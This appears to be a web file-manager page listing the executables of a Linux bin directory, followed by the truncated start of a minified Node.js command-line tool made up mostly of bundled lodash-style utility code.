-rwxr-xr-x
2023-10-14 18:54
time
27.54
KB
-rwxr-xr-x
2019-10-11 15:23
timedatectl
36.96
KB
-rwxr-xr-x
2026-06-16 17:17
timeout
41.86
KB
-rwxr-xr-x
2026-07-28 19:49
tload
16.76
KB
-rwxr-xr-x
2023-10-14 20:31
tmon
39.63
KB
-rwxr-xr-x
2026-08-26 07:56
tmpwatch
35.47
KB
-rwxr-xr-x
2019-10-12 11:32
tnameserv
11.46
KB
-rwxr-xr-x
2026-08-20 15:05
toe
16.45
KB
-rwxr-xr-x
2023-10-14 18:54
top
121.7
KB
-rwxr-xr-x
2023-10-14 20:31
touch
93.94
KB
-rwxr-xr-x
2026-07-28 19:49
tput
24.8
KB
-rwxr-xr-x
2023-10-14 18:54
tr
49.63
KB
-rwxr-xr-x
2026-07-28 19:49
tracepath
20.44
KB
-rwxr-xr-x
2023-10-14 17:19
tracer
1.15
KB
-rwxr-xr-x
2024-04-06 12:27
traceroute
70.97
KB
-rwxr-xr-x
2025-03-11 07:45
traceroute6
70.97
KB
-rwxr-xr-x
2025-03-11 07:45
tred
16.59
KB
-rwxr-xr-x
2024-04-06 12:47
tree
81.59
KB
-rwxr-xr-x
2019-10-12 00:35
troff
805.02
KB
-rwxr-xr-x
2019-10-13 14:29
true
33.33
KB
-rwxr-xr-x
2026-07-28 19:49
truncate
41.36
KB
-rwxr-xr-x
2026-07-28 19:49
trust
219.55
KB
-rwxr-xr-x
2024-04-06 14:16
tset
24.76
KB
-rwxr-xr-x
2023-10-14 18:54
tsort
41.49
KB
-rwxr-xr-x
2026-07-28 19:49
tty
33.31
KB
-rwxr-xr-x
2026-07-28 19:49
turbostat
130.8
KB
-rwxr-xr-x
2026-08-26 07:56
twopi
12.26
KB
-rwxr-xr-x
2024-04-06 12:47
type
28
B
-rwxr-xr-x
2025-08-26 08:48
tzselect
15.01
KB
-rwxr-xr-x
2026-07-21 14:46
uapi
3.33
MB
-rwxr-xr-x
2026-08-18 11:03
ucs2any
24.41
KB
-rwxr-xr-x
2021-10-09 23:42
udevadm
424.56
KB
-rwxr-xr-x
2026-06-16 17:17
ul
20.59
KB
-rwxr-xr-x
2026-02-04 20:18
ulimit
30
B
-rwxr-xr-x
2025-08-26 08:48
umask
29
B
-rwxr-xr-x
2025-08-26 08:48
umount
32.75
KB
-rwsr-xr-x
2026-02-04 20:18
unalias
31
B
-rwxr-xr-x
2025-08-26 08:48
uname
37.33
KB
-rwxr-xr-x
2026-07-28 19:49
uname26
20.76
KB
-rwxr-xr-x
2026-02-04 20:18
unexpand
45.59
KB
-rwxr-xr-x
2026-07-28 19:49
unflatten
16.63
KB
-rwxr-xr-x
2024-04-06 12:47
unicode_start
2.55
KB
-rwxr-xr-x
2023-10-14 20:59
unicode_stop
363
B
-rwxr-xr-x
2023-10-14 20:59
uniq
49.64
KB
-rwxr-xr-x
2026-07-28 19:49
unix2dos
58.53
KB
-rwxr-xr-x
2019-10-12 00:46
unix2mac
58.53
KB
-rwxr-xr-x
2019-10-12 00:46
unlink
33.34
KB
-rwxr-xr-x
2026-07-28 19:49
unpack200
228.99
KB
-rwxr-xr-x
2026-08-20 15:05
unpigz
125.38
KB
-rwxr-xr-x
2020-06-01 15:15
unshare
24.93
KB
-rwxr-xr-x
2026-02-04 20:18
unversioned-python
157
B
-rwxr-xr-x
2026-08-18 15:09
unwrapdiff
5.8
KB
-rwxr-xr-x
2019-10-16 17:20
unxz
82.09
KB
-rwxr-xr-x
2022-06-14 13:03
unzip
201.88
KB
-rwxr-xr-x
2025-06-03 02:10
unzipsfx
101.48
KB
-rwxr-xr-x
2025-06-03 02:10
unzstd
766.11
KB
-rwxr-xr-x
2020-08-18 22:44
update-ca-trust
1.24
KB
-rwxr-xr-x
2025-10-30 14:25
update-crypto-policies
87
B
-rwxr-xr-x
2023-08-01 15:18
update-gtk-immodules
313
B
-rwxr-xr-x
2021-04-06 13:52
update-mime-database
57.22
KB
-rwxr-xr-x
2024-04-06 14:07
updatedb
53.84
KB
-rwxr-xr-x
2019-10-14 15:43
uptime
12.59
KB
-rwxr-xr-x
2023-10-14 20:31
usb-devices
4.01
KB
-rwxr-xr-x
2018-05-15 10:05
usbhid-dump
31.04
KB
-rwxr-xr-x
2019-10-21 16:04
users
37.4
KB
-rwxr-xr-x
2026-07-28 19:49
usleep
11.86
KB
-rwxr-xr-x
2025-11-04 09:19
utmpdump
28.66
KB
-rwxr-xr-x
2026-02-04 20:18
uuclient
15.88
KB
-rwxr-xr-x
2026-05-13 06:34
uuidgen
16.38
KB
-rwxr-xr-x
2026-02-04 20:18
uuidparse
37.13
KB
-rwxr-xr-x
2026-02-04 20:18
valgrind
23.45
KB
-rwxr-xr-x
2026-06-16 16:35
valgrind-di-server
31.38
KB
-rwxr-xr-x
2026-06-16 16:35
valgrind-listener
15.38
KB
-rwxr-xr-x
2026-06-16 16:35
vdir
139.9
KB
-rwxr-xr-x
2026-07-28 19:49
vdo
5
KB
-rwxr-xr-x
2024-12-17 09:08
vdo-by-dev
1.83
KB
-rwxr-xr-x
2024-12-17 09:08
vdodmeventd
62.45
KB
-rwxr-xr-x
2024-12-17 09:08
vdodumpconfig
536.63
KB
-rwxr-xr-x
2024-12-17 09:08
vdoforcerebuild
524.27
KB
-rwxr-xr-x
2024-12-17 09:08
vdoformat
549.13
KB
-rwxr-xr-x
2024-12-17 09:08
vdosetuuid
536.66
KB
-rwxr-xr-x
2024-12-17 09:08
vdostats
10.26
KB
-rwxr-xr-x
2024-12-17 09:08
verify_blkparse
11.87
KB
-rwxr-xr-x
2024-09-24 08:24
vgdb
75.55
KB
-rwxr-xr-x
2026-06-16 16:35
vi
1.13
MB
-rwxr-xr-x
2026-07-30 12:18
view
1.13
MB
-rwxr-xr-x
2026-07-30 12:18
vim
2.93
MB
-rwxr-xr-x
2026-07-30 12:18
vimdiff
2.93
MB
-rwxr-xr-x
2026-07-30 12:18
vimdot
1.06
KB
-rwxr-xr-x
2024-04-06 12:47
vimtutor
2.07
KB
-rwxr-xr-x
2026-07-30 12:18
vlock
20.83
KB
-rwxr-xr-x
2023-10-14 21:01
vmstat
36.79
KB
-rwxr-xr-x
2023-10-14 20:31
w
20.75
KB
-rwxr-xr-x
2023-10-14 20:31
wait
28
B
-rwxr-xr-x
2025-08-26 08:48
wall
33.05
KB
-rwxr-xr-x
2026-02-04 20:18
watch
29.19
KB
-rwxr-xr-x
2023-10-14 20:31
watchgnupg
16.44
KB
-rwxr-xr-x
2026-01-16 01:48
wc
49.64
KB
-rwxr-xr-x
2026-07-28 19:49
wdctl
36.98
KB
-rwxr-xr-x
2026-02-04 20:18
wget
521.43
KB
-rwxr-xr-x
2026-09-01 17:20
whatis
54.04
KB
-rwxr-xr-x
2021-10-08 13:04
whereis
29.27
KB
-rwxr-xr-x
2026-02-04 20:18
which
29.38
KB
-rwxr-xr-x
2025-08-26 08:54
whiptail
33.09
KB
-rwxr-xr-x
2020-06-01 14:11
who
53.59
KB
-rwxr-xr-x
2026-07-28 19:49
whoami
33.34
KB
-rwxr-xr-x
2026-07-28 19:49
wish
13.05
KB
-rwxr-xr-x
2019-10-16 17:25
wish8.6
13.05
KB
-rwxr-xr-x
2019-10-16 17:25
withsctp
246
B
-rwxr-xr-x
2019-12-05 11:44
wmf2eps
17.15
KB
-rwxr-xr-x
2019-10-14 15:47
wmf2fig
17.15
KB
-rwxr-xr-x
2019-10-14 15:47
wmf2gd
17.14
KB
-rwxr-xr-x
2019-10-14 15:47
wmf2svg
17.16
KB
-rwxr-xr-x
2019-10-14 15:47
wmf2x
17.13
KB
-rwxr-xr-x
2019-10-14 15:47
word-list-compress
11.99
KB
-rwxr-xr-x
2022-04-18 15:10
write
20.62
KB
-rwxr-sr-x
2026-02-04 20:18
x86_64
20.76
KB
-rwxr-xr-x
2026-02-04 20:18
x86_64-redhat-linux-c++
1.21
MB
-rwxr-xr-x
2025-08-26 09:47
x86_64-redhat-linux-g++
1.21
MB
-rwxr-xr-x
2025-08-26 09:47
x86_64-redhat-linux-gcc
1.21
MB
-rwxr-xr-x
2025-08-26 09:47
x86_64-redhat-linux-gcc-8
1.21
MB
-rwxr-xr-x
2025-08-26 09:47
x86_64-redhat-linux-gnu-pkg-config
424
B
-rwxr-xr-x
2019-10-13 06:57
x86_energy_perf_policy
31.95
KB
-rwxr-xr-x
2026-08-26 07:56
xargs
74.11
KB
-rwxr-xr-x
2025-12-18 14:57
xgamma
17.08
KB
-rwxr-xr-x
2019-10-15 13:08
xgettext
283.88
KB
-rwxr-xr-x
2019-11-18 17:17
xhost
17.12
KB
-rwxr-xr-x
2019-10-15 13:08
xinput
63.61
KB
-rwxr-xr-x
2019-10-15 13:08
xkill
17.1
KB
-rwxr-xr-x
2019-10-15 13:08
xml2-config
1.71
KB
-rwxr-xr-x
2017-07-23 05:10
xmlcatalog
20.38
KB
-rwxr-xr-x
2026-08-31 04:29
xmllint
73.38
KB
-rwxr-xr-x
2026-08-31 04:29
xmlwf
36.97
KB
-rwxr-xr-x
2026-06-03 11:35
xmodmap
39.98
KB
-rwxr-xr-x
2019-10-15 13:08
xorg-x11-fonts-update-dirs
1.29
KB
-rwxr--r--
2021-10-09 23:42
xrandr
65.46
KB
-rwxr-xr-x
2019-10-15 13:08
xrdb
33.98
KB
-rwxr-xr-x
2019-10-15 13:08
xrefresh
17.94
KB
-rwxr-xr-x
2019-10-15 13:08
xset
37.2
KB
-rwxr-xr-x
2019-10-15 13:08
xsetpointer
13.05
KB
-rwxr-xr-x
2019-10-15 13:08
xsetroot
21.44
KB
-rwxr-xr-x
2019-10-15 13:08
xslt-config
2.36
KB
-rwxr-xr-x
2015-05-10 14:11
xsltproc
28.47
KB
-rwxr-xr-x
2026-06-16 16:39
xstdcmap
17.68
KB
-rwxr-xr-x
2019-10-15 13:08
xsubpp
4.96
KB
-rwxr-xr-x
2019-10-13 08:58
xxd
20.54
KB
-rwxr-xr-x
2026-07-30 12:18
xz
82.09
KB
-rwxr-xr-x
2022-06-14 13:03
xzcat
82.09
KB
-rwxr-xr-x
2022-06-14 13:03
xzcmp
6.48
KB
-rwxr-xr-x
2022-06-14 13:03
xzdec
16.48
KB
-rwxr-xr-x
2022-06-14 13:03
xzdiff
6.48
KB
-rwxr-xr-x
2022-06-14 13:03
xzegrep
5.76
KB
-rwxr-xr-x
2022-06-14 13:03
xzfgrep
5.76
KB
-rwxr-xr-x
2022-06-14 13:03
xzgrep
5.76
KB
-rwxr-xr-x
2022-06-14 13:03
xzless
1.76
KB
-rwxr-xr-x
2022-06-14 13:03
xzmore
2.11
KB
-rwxr-xr-x
2022-06-14 13:03
yacc
108.48
KB
-rwxr-xr-x
2019-10-14 19:26
yat2m
33.34
KB
-rwxr-xr-x
2019-10-12 12:20
yes
33.37
KB
-rwxr-xr-x
2026-07-28 19:49
ypdomainname
21.16
KB
-rwxr-xr-x
2019-10-11 13:06
yum
2.05
KB
-rwxr-xr-x
2025-03-11 09:47
yum-builddep
3.62
KB
-rwxr-xr-x
2024-04-08 10:02
yum-config-manager
3.62
KB
-rwxr-xr-x
2024-04-08 10:02
yum-debug-dump
3.62
KB
-rwxr-xr-x
2024-04-08 10:02
yum-debug-restore
3.62
KB
-rwxr-xr-x
2024-04-08 10:02
yum-groups-manager
3.62
KB
-rwxr-xr-x
2024-04-08 10:02
yumdownloader
3.62
KB
-rwxr-xr-x
2024-04-08 10:02
zcat
1.94
KB
-rwxr-xr-x
2022-04-27 05:49
zcmp
1.64
KB
-rwxr-xr-x
2022-04-27 05:49
zdiff
5.74
KB
-rwxr-xr-x
2022-04-27 05:49
zegrep
29
B
-rwxr-xr-x
2022-04-27 05:49
zfgrep
29
B
-rwxr-xr-x
2022-04-27 05:49
zforce
2.03
KB
-rwxr-xr-x
2022-04-27 05:49
zgrep
7.4
KB
-rwxr-xr-x
2022-04-27 05:49
zip
229
KB
-rwxr-xr-x
2019-10-11 13:11
zipcloak
102.91
KB
-rwxr-xr-x
2019-10-11 13:11
zipdetails
49.39
KB
-rwxr-xr-x
2026-06-29 03:15
zipgrep
2.88
KB
-rwxr-xr-x
2008-10-10 17:40
zipinfo
201.88
KB
-rwxr-xr-x
2025-06-03 02:10
zipnote
97.76
KB
-rwxr-xr-x
2019-10-11 13:11
zipsplit
97.76
KB
-rwxr-xr-x
2019-10-11 13:11
zless
2.15
KB
-rwxr-xr-x
2022-04-27 05:49
zlib_decompress
6.16
MB
-rwxr-xr-x
2026-04-07 17:09
zmore
1.8
KB
-rwxr-xr-x
2022-04-27 05:49
znew
4.45
KB
-rwxr-xr-x
2022-04-27 05:49
zone2json
1.39
MB
-rwxr-xr-x
2026-08-10 19:13
zone2sql
1.41
MB
-rwxr-xr-x
2026-08-10 19:13
zsoelim
42.55
KB
-rwxr-xr-x
2019-10-13 14:29
zstd
766.11
KB
-rwxr-xr-x
2020-08-18 22:44
zstdcat
766.11
KB
-rwxr-xr-x
2020-08-18 22:44
zstdgrep
3.79
KB
-rwxr-xr-x
2019-11-04 17:54
zstdless
30
B
-rwxr-xr-x
2019-11-04 17:54
zstdmt
766.11
KB
-rwxr-xr-x
2020-08-18 22:44
Save
Rename
#!/usr/bin/env node // (c) Anthropic PBC. All rights reserved. Use is subject to the Legal Agreements outlined here: https://code.claude.com/docs/en/legal-and-compliance. // Version: 2.1.23 // Want to see the unminified source? We're hiring! // https://job-boards.greenhouse.io/anthropic/jobs/4816199008 import{createRequire as IcK}from"node:module";var LcK=Object.create;var{getPrototypeOf:RcK,defineProperty:GNA,getOwnPropertyNames:ac6,getOwnPropertyDescriptor:ycK}=Object,sc6=Object.prototype.hasOwnProperty;var o=(A,K,q)=>{q=A!=null?LcK(RcK(A)):{};let Y=K||!A||!A.__esModule?GNA(q,"default",{value:A,enumerable:!0}):q;for(let z of ac6(A))if(!sc6.call(Y,z))GNA(Y,z,{get:()=>A[z],enumerable:!0});return Y},oc6=new WeakMap,Rg=(A)=>{var K=oc6.get(A),q;if(K)return K;if(K=GNA({},"__esModule",{value:!0}),A&&typeof A==="object"||typeof A==="function")ac6(A).map((Y)=>!sc6.call(K,Y)&&GNA(K,Y,{get:()=>A[Y],enumerable:!(q=ycK(A,Y))||q.enumerable}));return oc6.set(A,K),K},v=(A,K)=>()=>(K||A((K={exports:{}}).exports,K),K.exports);var _q=(A,K)=>{for(var q in K)GNA(A,q,{get:K[q],enumerable:!0,configurable:!0,set:(Y)=>K[q]=()=>Y})};var k=(A,K)=>()=>(A&&(K=A(A=0)),K);var CA=IcK(import.meta.url);var ScK,BiA;var mL1=k(()=>{ScK=typeof global=="object"&&global&&global.Object===Object&&global,BiA=ScK});var hcK,bcK,uX;var NR=k(()=>{mL1();hcK=typeof self=="object"&&self&&self.Object===Object&&self,bcK=BiA||hcK||Function("return this")(),uX=bcK});var xcK,Q_;var tAA=k(()=>{NR();xcK=uX.Symbol,Q_=xcK});function mcK(A){var K=ucK.call(A,ZNA),q=A[ZNA];try{A[ZNA]=void 0;var Y=!0}catch(w){}var z=BcK.call(A);if(Y)if(K)A[ZNA]=q;else delete A[ZNA];return z}var tc6,ucK,BcK,ZNA,ec6;var Al6=k(()=>{tAA();tc6=Object.prototype,ucK=tc6.hasOwnProperty,BcK=tc6.toString,ZNA=Q_?Q_.toStringTag:void 0;ec6=mcK});function QcK(A){return FcK.call(A)}var gcK,FcK,Kl6;var ql6=k(()=>{gcK=Object.prototype,FcK=gcK.toString;Kl6=QcK});function dcK(A){if(A==null)return A===void 0?pcK:UcK;return Yl6&&Yl6 in Object(A)?ec6(A):Kl6(A)}var UcK="[object Null]",pcK="[object Undefined]",Yl6,IN;var eAA=k(()=>{tAA();Al6();ql6();Yl6=Q_?Q_.toStringTag:void 0;IN=dcK});function ccK(A){var K=typeof A;return A!=null&&(K=="object"||K=="function")}var aJ;var WE=k(()=>{aJ=ccK});function ocK(A){if(!aJ(A))return!1;var K=IN(A);return K==icK||K==ncK||K==lcK||K==rcK}var lcK="[object AsyncFunction]",icK="[object Function]",ncK="[object GeneratorFunction]",rcK="[object Proxy]",S2A;var miA=k(()=>{eAA();WE();S2A=ocK});var acK,giA;var zl6=k(()=>{NR();acK=uX["__core-js_shared__"],giA=acK});function scK(A){return!!wl6&&wl6 in A}var wl6,Hl6;var Jl6=k(()=>{zl6();wl6=function(){var A=/[^.]+$/.exec(giA&&giA.keys&&giA.keys.IE_PROTO||"");return A?"Symbol(src)_1."+A:""}();Hl6=scK});function AlK(A){if(A!=null){try{return ecK.call(A)}catch(K){}try{return A+""}catch(K){}}return""}var tcK,ecK,yg;var gL1=k(()=>{tcK=Function.prototype,ecK=tcK.toString;yg=AlK});function OlK(A){if(!aJ(A)||Hl6(A))return!1;var K=S2A(A)?JlK:qlK;return K.test(yg(A))}var KlK,qlK,YlK,zlK,wlK,HlK,JlK,Ol6;var Xl6=k(()=>{miA();Jl6();WE();gL1();KlK=/[\\^$.*+?()[\]{}|]/g,qlK=/^\[object .+?Constructor\]$/,YlK=Function.prototype,zlK=Object.prototype,wlK=YlK.toString,HlK=zlK.hasOwnProperty,JlK=RegExp("^"+wlK.call(HlK).replace(KlK,"\\$&").replace(/hasOwnProperty|(function).*?(?=\\\()| for .+?(?=\\\])/g,"$1.*?")+"$");Ol6=OlK});function XlK(A,K){return A==null?void 0:A[K]}var $l6;var _l6=k(()=>{$l6=XlK});function $lK(A,K){var q=$l6(A,K);return Ol6(q)?q:void 0}var lP;var Ol=k(()=>{Xl6();_l6();lP=$lK});var _lK,Ig;var WNA=k(()=>{Ol();_lK=lP(Object,"create"),Ig=_lK});function GlK(){this.__data__=Ig?Ig(null):{},this.size=0}var Gl6;var Zl6=k(()=>{WNA();Gl6=GlK});function ZlK(A){var K=this.has(A)&&delete this.__data__[A];return this.size-=K?1:0,K}var Wl6;var Dl6=k(()=>{Wl6=ZlK});function MlK(A){var K=this.__data__;if(Ig){var q=K[A];return q===WlK?void 0:q}return jlK.call(K,A)?K[A]:void 0}var WlK="__lodash_hash_undefined__",DlK,jlK,jl6;var Ml6=k(()=>{WNA();DlK=Object.prototype,jlK=DlK.hasOwnProperty;jl6=MlK});function flK(A){var K=this.__data__;return Ig?K[A]!==void 0:VlK.call(K,A)}var PlK,VlK,Pl6;var Vl6=k(()=>{WNA();PlK=Object.prototype,VlK=PlK.hasOwnProperty;Pl6=flK});function TlK(A,K){var q=this.__data__;return this.size+=this.has(A)?0:1,q[A]=Ig&&K===void 0?NlK:K,this}var NlK="__lodash_hash_undefined__",fl6;var Nl6=k(()=>{WNA();fl6=TlK});function h2A(A){var K=-1,q=A==null?0:A.length;this.clear();while(++K<q){var Y=A[K];this.set(Y[0],Y[1])}}var FL1;var Tl6=k(()=>{Zl6();Dl6();Ml6();Vl6();Nl6();h2A.prototype.clear=Gl6;h2A.prototype.delete=Wl6;h2A.prototype.get=jl6;h2A.prototype.has=Pl6;h2A.prototype.set=fl6;FL1=h2A});function vlK(){this.__data__=[],this.size=0}var vl6;var El6=k(()=>{vl6=vlK});function ElK(A,K){return A===K||A!==A&&K!==K}var Sh;var b2A=k(()=>{Sh=ElK});function klK(A,K){var q=A.length;while(q--)if(Sh(A[q][0],K))return q;return-1}var Xl;var DNA=k(()=>{b2A();Xl=klK});function RlK(A){var K=this.__data__,q=Xl(K,A);if(q<0)return!1;var Y=K.length-1;if(q==Y)K.pop();else LlK.call(K,q,1);return--this.size,!0}var ClK,LlK,kl6;var Cl6=k(()=>{DNA();ClK=Array.prototype,LlK=ClK.splice;kl6=RlK});function ylK(A){var K=this.__data__,q=Xl(K,A);return q<0?void 0:K[q][1]}var Ll6;var Rl6=k(()=>{DNA();Ll6=ylK});function IlK(A){return Xl(this.__data__,A)>-1}var yl6;var Il6=k(()=>{DNA();yl6=IlK});function SlK(A,K){var q=this.__data__,Y=Xl(q,A);if(Y<0)++this.size,q.push([A,K]);else q[Y][1]=K;return this}var Sl6;var hl6=k(()=>{DNA();Sl6=SlK});function x2A(A){var K=-1,q=A==null?0:A.length;this.clear();while(++K<q){var Y=A[K];this.set(Y[0],Y[1])}}var $l;var jNA=k(()=>{El6();Cl6();Rl6();Il6();hl6();x2A.prototype.clear=vl6;x2A.prototype.delete=kl6;x2A.prototype.get=Ll6;x2A.prototype.has=yl6;x2A.prototype.set=Sl6;$l=x2A});var hlK,_l;var FiA=k(()=>{Ol();NR();hlK=lP(uX,"Map"),_l=hlK});function blK(){this.size=0,this.__data__={hash:new FL1,map:new(_l||$l),string:new FL1}}var bl6;var xl6=k(()=>{Tl6();jNA();FiA();bl6=blK});function xlK(A){var K=typeof A;return K=="string"||K=="number"||K=="symbol"||K=="boolean"?A!=="__proto__":A===null}var ul6;var Bl6=k(()=>{ul6=xlK});function ulK(A,K){var q=A.__data__;return ul6(K)?q[typeof K=="string"?"string":"hash"]:q.map}var Gl;var MNA=k(()=>{Bl6();Gl=ulK});function BlK(A){var K=Gl(this,A).delete(A);return this.size-=K?1:0,K}var ml6;var gl6=k(()=>{MNA();ml6=BlK});function mlK(A){return Gl(this,A).get(A)}var Fl6;var Ql6=k(()=>{MNA();Fl6=mlK});function glK(A){return Gl(this,A).has(A)}var Ul6;var pl6=k(()=>{MNA();Ul6=glK});function FlK(A,K){var q=Gl(this,A),Y=q.size;return q.set(A,K),this.size+=q.size==Y?0:1,this}var dl6;var cl6=k(()=>{MNA();dl6=FlK});function u2A(A){var K=-1,q=A==null?0:A.length;this.clear();while(++K<q){var Y=A[K];this.set(Y[0],Y[1])}}var A1A;var QiA=k(()=>{xl6();gl6();Ql6();pl6();cl6();u2A.prototype.clear=bl6;u2A.prototype.delete=ml6;u2A.prototype.get=Fl6;u2A.prototype.has=Ul6;u2A.prototype.set=dl6;A1A=u2A});function QL1(A,K){if(typeof A!="function"||K!=null&&typeof K!="function")throw TypeError(QlK);var q=function(){var Y=arguments,z=K?K.apply(this,Y):Y[0],w=q.cache;if(w.has(z))return w.get(z);var H=A.apply(this,Y);return q.cache=w.set(z,H)||w,H};return q.cache=new(QL1.Cache||A1A),q}var QlK="Expected a function",z6;var p7=k(()=>{QiA();QL1.Cache=A1A;z6=QL1});function ll6(A){return(K)=>{if(K.code==="EPIPE")A.destroy()}}function il6(){process.stdout.on("error",ll6(process.stdout)),process.stderr.on("error",ll6(process.stderr))}function nl6(A,K){if(A.destroyed)return;A.write(K)}function v7(A){nl6(process.stdout,A)}function Zl(A){nl6(process.stderr,A)}function UlK(A){let K=[],q=A.match(/^MCP server ["']([^"']+)["']/);if(q&&q[1])K.push("mcp"),K.push(q[1].toLowerCase());else{let w=A.match(/^([^:[]+):/);if(w&&w[1])K.push(w[1].trim().toLowerCase())}let Y=A.match(/^\[([^\]]+)]/);if(Y&&Y[1])K.push(Y[1].trim().toLowerCase());if(A.toLowerCase().includes("statsig event:"))K.push("statsig");let z=A.match(/:\s*([^:]+?)(?:\s+(?:type|mode|status|event))?:/);if(z&&z[1]){let w=z[1].trim().toLowerCase();if(w.length<30&&!w.includes(" "))K.push(w)}return Array.from(new Set(K))}function plK(A,K){if(!K)return!0;if(A.length===0)return!1;if(K.isExclusive)return!A.some((q)=>K.exclude.includes(q));else return A.some((q)=>K.include.includes(q))}function ol6(A,K){if(!K)return!0;let q=UlK(A);return plK(q,K)}var rl6;var al6=k(()=>{p7();rl6=z6((A)=>{if(!A||A.trim()==="")return null;let K=A.split(",").map((w)=>w.trim()).filter(Boolean);if(K.length===0)return null;let q=K.some((w)=>w.startsWith("!")),Y=K.some((w)=>!w.startsWith("!"));if(q&&Y)return null;let z=K.map((w)=>w.replace(/^!/,"").toLowerCase());return{include:q?[]:z,exclude:q?z:[],isExclusive:q}})});function dlK(){this.__data__=new $l,this.size=0}var sl6;var tl6=k(()=>{jNA();sl6=dlK});function clK(A){var K=this.__data__,q=K.delete(A);return this.size=K.size,q}var el6;var Ai6=k(()=>{el6=clK});function llK(A){return this.__data__.get(A)}var Ki6;var qi6=k(()=>{Ki6=llK});function ilK(A){return this.__data__.has(A)}var Yi6;var zi6=k(()=>{Yi6=ilK});function rlK(A,K){var q=this.__data__;if(q instanceof $l){var Y=q.__data__;if(!_l||Y.length<nlK-1)return Y.push([A,K]),this.size=++q.size,this;q=this.__data__=new A1A(Y)}return q.set(A,K),this.size=q.size,this}var nlK=200,wi6;var Hi6=k(()=>{jNA();FiA();QiA();wi6=rlK});function B2A(A){var K=this.__data__=new $l(A);this.size=K.size}var hh;var PNA=k(()=>{jNA();tl6();Ai6();qi6();zi6();Hi6();B2A.prototype.clear=sl6;B2A.prototype.delete=el6;B2A.prototype.get=Ki6;B2A.prototype.has=Yi6;B2A.prototype.set=wi6;hh=B2A});function alK(A){return this.__data__.set(A,olK),this}var olK="__lodash_hash_undefined__",Ji6;var Oi6=k(()=>{Ji6=alK});function slK(A){return this.__data__.has(A)}var Xi6;var $i6=k(()=>{Xi6=slK});function UiA(A){var K=-1,q=A==null?0:A.length;this.__data__=new A1A;while(++K<q)this.add(A[K])}var piA;var UL1=k(()=>{QiA();Oi6();$i6();UiA.prototype.add=UiA.prototype.push=Ji6;UiA.prototype.has=Xi6;piA=UiA});function tlK(A,K){var q=-1,Y=A==null?0:A.length;while(++q<Y)if(K(A[q],q,A))return!0;return!1}var _i6;var Gi6=k(()=>{_i6=tlK});function elK(A,K){return A.has(K)}var diA;var pL1=k(()=>{diA=elK});function qiK(A,K,q,Y,z,w){var H=q&AiK,J=A.length,O=K.length;if(J!=O&&!(H&&O>J))return!1;var X=w.get(A),$=w.get(K);if(X&&$)return X==K&&$==A;var _=-1,G=!0,Z=q&KiK?new piA:void 0;w.set(A,K),w.set(K,A);while(++_<J){var W=A[_],D=K[_];if(Y)var j=H?Y(D,W,_,K,A,w):Y(W,D,_,A,K,w);if(j!==void 0){if(j)continue;G=!1;break}if(Z){if(!_i6(K,function(M,P){if(!diA(Z,P)&&(W===M||z(W,M,q,Y,w)))return Z.push(P)})){G=!1;break}}else if(!(W===D||z(W,D,q,Y,w))){G=!1;break}}return w.delete(A),w.delete(K),G}var AiK=1,KiK=2,ciA;var dL1=k(()=>{UL1();Gi6();pL1();ciA=qiK});var YiK,m2A;var cL1=k(()=>{NR();YiK=uX.Uint8Array,m2A=YiK});function ziK(A){var K=-1,q=Array(A.size);return A.forEach(function(Y,z){q[++K]=[z,Y]}),q}var Zi6;var Wi6=k(()=>{Zi6=ziK});function wiK(A){var K=-1,q=Array(A.size);return A.forEach(function(Y){q[++K]=Y}),q}var g2A;var liA=k(()=>{g2A=wiK});function ViK(A,K,q,Y,z,w,H){switch(q){case PiK:if(A.byteLength!=K.byteLength||A.byteOffset!=K.byteOffset)return!1;A=A.buffer,K=K.buffer;case MiK:if(A.byteLength!=K.byteLength||!w(new m2A(A),new m2A(K)))return!1;return!0;case OiK:case XiK:case GiK:return Sh(+A,+K);case $iK:return A.name==K.name&&A.message==K.message;case ZiK:case DiK:return A==K+"";case _iK:var J=Zi6;case WiK:var O=Y&HiK;if(J||(J=g2A),A.size!=K.size&&!O)return!1;var X=H.get(A);if(X)return X==K;Y|=JiK,H.set(A,K);var $=ciA(J(A),J(K),Y,z,w,H);return H.delete(A),$;case jiK:if(lL1)return lL1.call(A)==lL1.call(K)}return!1}var HiK=1,JiK=2,OiK="[object Boolean]",XiK="[object Date]",$iK="[object Error]",_iK="[object Map]",GiK="[object Number]",ZiK="[object RegExp]",WiK="[object Set]",DiK="[object String]",jiK="[object Symbol]",MiK="[object ArrayBuffer]",PiK="[object DataView]",Di6,lL1,ji6;var Mi6=k(()=>{tAA();cL1();b2A();dL1();Wi6();liA();Di6=Q_?Q_.prototype:void 0,lL1=Di6?Di6.valueOf:void 0;ji6=ViK});function fiK(A,K){var q=-1,Y=K.length,z=A.length;while(++q<Y)A[z+q]=K[q];return A}var F2A;var iiA=k(()=>{F2A=fiK});var NiK,L2;var pj=k(()=>{NiK=Array.isArray,L2=NiK});function TiK(A,K,q){var Y=K(A);return L2(A)?Y:F2A(Y,q(A))}var niA;var iL1=k(()=>{iiA();pj();niA=TiK});function viK(A,K){var q=-1,Y=A==null?0:A.length,z=0,w=[];while(++q<Y){var H=A[q];if(K(H,q,A))w[z++]=H}return w}var riA;var nL1=k(()=>{riA=viK});function EiK(){return[]}var oiA;var rL1=k(()=>{oiA=EiK});var kiK,CiK,Pi6,LiK,Q2A;var aiA=k(()=>{nL1();rL1();kiK=Object.prototype,CiK=kiK.propertyIsEnumerable,Pi6=Object.getOwnPropertySymbols,LiK=!Pi6?oiA:function(A){if(A==null)return[];return A=Object(A),riA(Pi6(A),function(K){return CiK.call(A,K)})},Q2A=LiK});function RiK(A,K){var q=-1,Y=Array(A);while(++q<A)Y[q]=K(q);return Y}var Vi6;var fi6=k(()=>{Vi6=RiK});function yiK(A){return A!=null&&typeof A=="object"}var r$;var bh=k(()=>{r$=yiK});function SiK(A){return r$(A)&&IN(A)==IiK}var IiK="[object Arguments]",oL1;var Ni6=k(()=>{eAA();bh();oL1=SiK});var Ti6,hiK,biK,xiK,Sg;var VNA=k(()=>{Ni6();bh();Ti6=Object.prototype,hiK=Ti6.hasOwnProperty,biK=Ti6.propertyIsEnumerable,xiK=oL1(function(){return arguments}())?oL1:function(A){return r$(A)&&hiK.call(A,"callee")&&!biK.call(A,"callee")},Sg=xiK});function uiK(){return!1}var vi6;var Ei6=k(()=>{vi6=uiK});var tiA={};_q(tiA,{default:()=>xh});var Li6,ki6,BiK,Ci6,miK,giK,xh;var fNA=k(()=>{NR();Ei6();Li6=typeof tiA=="object"&&tiA&&!tiA.nodeType&&tiA,ki6=Li6&&typeof siA=="object"&&siA&&!siA.nodeType&&siA,BiK=ki6&&ki6.exports===Li6,Ci6=BiK?uX.Buffer:void 0,miK=Ci6?Ci6.isBuffer:void 